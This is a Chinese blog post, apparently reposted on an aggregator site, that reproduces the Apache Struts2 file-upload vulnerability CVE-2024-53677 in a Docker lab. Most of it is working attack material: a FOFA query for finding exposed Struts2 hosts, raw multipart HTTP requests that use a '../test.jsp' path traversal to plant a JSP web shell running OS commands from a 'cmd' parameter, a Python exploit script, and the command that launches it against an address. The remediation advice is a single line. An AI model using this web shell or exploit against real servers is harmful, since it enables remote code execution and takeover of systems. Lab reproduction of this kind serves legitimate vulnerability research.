当前位置: 首页 > news >正文

中间件漏洞之CVE-2024-53677

目录

  • 什么是struts?
  • CVE-2024-53677
    • 简介
    • 影响版本
    • 复现环境搭建
    • 漏洞利用
    • 修复

什么是struts?

在早期的 Java Web 开发中,代码往往混乱不堪,难以维护和扩展。比如,一个简单的用户登录功能,可能在不同的 Java 类、JSP 页面中到处散落着处理逻辑、数据验证等代码。Struts 框架就是为了解决这些问题而诞生的,它让开发人员能够更有条理地组织代码,提高开发效率和代码的可维护性。
百度百科:
Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。

核心组件
ActionServlet:它是 Struts 框架的核心控制器,就像是一个交通指挥员。所有来自客户端的请求都会先经过它,它会根据请求的信息来决定要调用哪个具体的处理程序。
Action:这是用来处理具体业务逻辑的部分。比如用户注册、登录等操作,都有对应的 Action 来处理。它接收从页面传递过来的数据,进行相应的处理,然后决定下一步该做什么,比如是跳转到成功页面还是返回错误提示。
Struts 配置文件:通常是 struts-config.xml,它就像是一个地图,告诉框架各个组件之间的关系和如何进行配置。比如哪个 URL 对应哪个 Action,Action 处理完后要跳转到哪个页面等,都在这个文件里进行配置。
工作原理
当用户在浏览器中输入一个 URL 或者点击一个链接、提交一个表单时,请求就会发送到服务器。
服务器上的 ActionServlet 接收到请求后,会根据 Struts 配置文件来解析这个请求,找到对应的 Action。
然后 ActionServlet 会把请求交给对应的 Action 去处理。Action 会从请求中获取用户输入的数据,进行业务逻辑处理,比如验证数据的合法性、查询数据库等。
Action 处理完后,会返回一个结果,这个结果也是在 Struts 配置文件中定义好的,告诉 ActionServlet 下一步该跳转到哪个页面。
最后,ActionServlet 根据返回的结果,将相应的页面返回给用户,用户就可以在浏览器中看到最终的显示效果。

应用场景
企业级应用开发:很多大型企业的业务系统,像人力资源管理系统、财务管理系统等,都可以用 Struts 框架来开发。因为这些系统通常有复杂的业务逻辑和大量的用户交互,Struts 框架可以很好地组织和管理这些功能。
Web 应用程序开发:各种类型的网站,比如电商网站、新闻网站等,也经常会用到 Struts 框架。它可以帮助开发人员快速搭建网站的架构,实现用户注册登录、商品展示、新闻发布等功能。

CVE-2024-53677

简介

CVE-2024-53677 是 Apache Struts 框架中存在的严重远程代码执行漏洞,CVSS 评分为 9.5。该漏洞源于框架文件上传逻辑缺陷,攻击者可操纵文件上传参数,利用路径遍历将恶意文件上传至服务器其他位置,若服务器对文件类型检测不严格,就可触发远程代码执行

影响版本

2.0.0 <= Struts <= 2.3.37(EOL)
2.5.0 <= Struts <= 2.5.33
6.0.0 <= Struts <= 6.3.0.2

  • fofa语句
app="Struts2"

复现环境搭建

git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53667 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53667 cve-2024-53667
curl http://localhost:8080/upload.action

这边我复现的时候因为docker网络问题拉不下镜像,就换了几个镜像源。然后我是映射本地的8081端口而不是8080

在这里插入图片描述

漏洞利用

上传一个txt文件,打开上传后的图片链接。发现上传路径是/uploads/
在这里插入图片描述

然后上传1.jsp,也上传成功,但是访问的时候报500错误。不过后面还是利用成功。

POST /upload.action HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload.action
Cookie: JSESSIONID=80F5EA5D994666E5FAFD8CA295B45395; Phpstorm-63ee4203=7edc60a3-fbc3-43d3-a640-1dac80e3229c
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>-----------------------------338492666920734954652406641204--

在这里插入图片描述

CVE-2024-53677 可以绕过上传路径到网址根目录下

原理分析可以看Y4师傅的文章https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

现在构造数据包上传test.jsp

POST /upload.action HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload.action
Cookie: JSESSIONID=80F5EA5D994666E5FAFD8CA295B45395; Phpstorm-63ee4203=7edc60a3-fbc3-43d3-a640-1dac80e3229c
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>
-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload";name="top.UploadFileName";../test.jsp
-----------------------------338492666920734954652406641204--

由于用burp抓包后不知道为什么连接不上靶机,我就用yakit了
在这里插入图片描述

然后访问

在这里插入图片描述

捡一个大佬的脚本

import requests
import argparse
import osdef send_post_request(url, filename_value, file_path, file_type):# 读取文件内容with open(file_path, 'r') as f:file_content = f.read()# 设置请求头headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',}# 设置 multipart/form-datafiles = {'Upload': (os.path.basename(file_path), file_content, 'text/html'),}# 设置字段参数,根据 -type 选择上传单文件还是多文件if file_type == 's':data = {'top.uploadFileName': filename_value,}elif file_type == 'm':data = {'uploadFileName[0]': filename_value,}else:raise ValueError("Invalid type, must be 's' for single or 'm' for multiple.")# 发送POST请求response = requests.post(url, headers=headers, files=files, data=data)# 输出响应结果print(f"Response Status Code: {response.status_code}")print(response.text)def main():# 设置命令行参数parser = argparse.ArgumentParser(description='Send a POST request with file and form data.')parser.add_argument('-u', '--url', required=True, help='upload aciton url')parser.add_argument('-filename', required=True, help='filename with path traversal')parser.add_argument('-file', required=True, help='evil file to be uploaded')parser.add_argument('-type', choices=['s', 'm'], required=True, help="Type of upload: 's' for single file upload, 'm' for multiple files upload")# 解析参数args = parser.parse_args()# 发送POST请求send_post_request(args.url, args.filename, args.file, args.type)if __name__ == '__main__':main()

配套jsp

<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>
python CVE-2024-53677.py -u http://192.168.41.219:8080/upload.action -filename ../poc.jsp -file 1.jsp -type s

搜到一个有脚本的文章https://blog.csdn.net/2202_75361164/article/details/144578662,大家可以去看看

修复

将框架升级到官方发布的最新版本并且使用ActionFileUploadInterceptor作为文件上传组件。


参考:
https://www.freebuf.com/vuls/418053.html

http://www.lryc.cn/news/531278.html

相关文章:

  • pytorch基于 Transformer 预训练模型的方法实现词嵌入(tiansz/bert-base-chinese)
  • Windows电脑本地部署运行DeepSeek R1大模型(基于Ollama和Chatbox)
  • 区间覆盖问题
  • 【LLM-agent】(task2)用llama-index搭建AI Agent
  • SpringAI 人工智能
  • 【axios二次封装】
  • P7497 四方喝彩 Solution
  • 深入剖析 Bitmap 数据结构:原理、应用与优化策略
  • bypass hcaptcha、hcaptcha逆向
  • WebForms DataList 深入解析
  • C# List 列表综合运用实例⁓Hypak原始数据处理编程小结
  • 【C++基础】字符串/字符读取函数解析
  • 大模型-CLIP 详细介绍
  • 1.4 Go 数组
  • WebSocket——环境搭建与多环境配置
  • 三、递推关系与母函数,《组合数学(第4版)》卢开澄 卢华明
  • 线程互斥同步
  • DeepSeek R1 AI 论文翻译
  • 如何计算态势感知率?
  • 二、CSS笔记
  • Alibaba开发规范_异常日志之日志规约:最佳实践与常见陷阱
  • 使用istio实现权重路由
  • M. Triangle Construction
  • 每天学点小知识之设计模式的艺术-策略模式
  • 机试题——到邻国目标城市的最短距离
  • Python + Tkinter + pyttsx3实现的桌面版英语学习工具
  • 【Vite + Vue + Ts 项目三个 tsconfig 文件】
  • AI时代IT行业职业方向规划大纲
  • Mac M1 Comfyui 使用MMAudio遇到的问题解决?
  • 大语言模型深度研究功能:人类认知与创新的新范式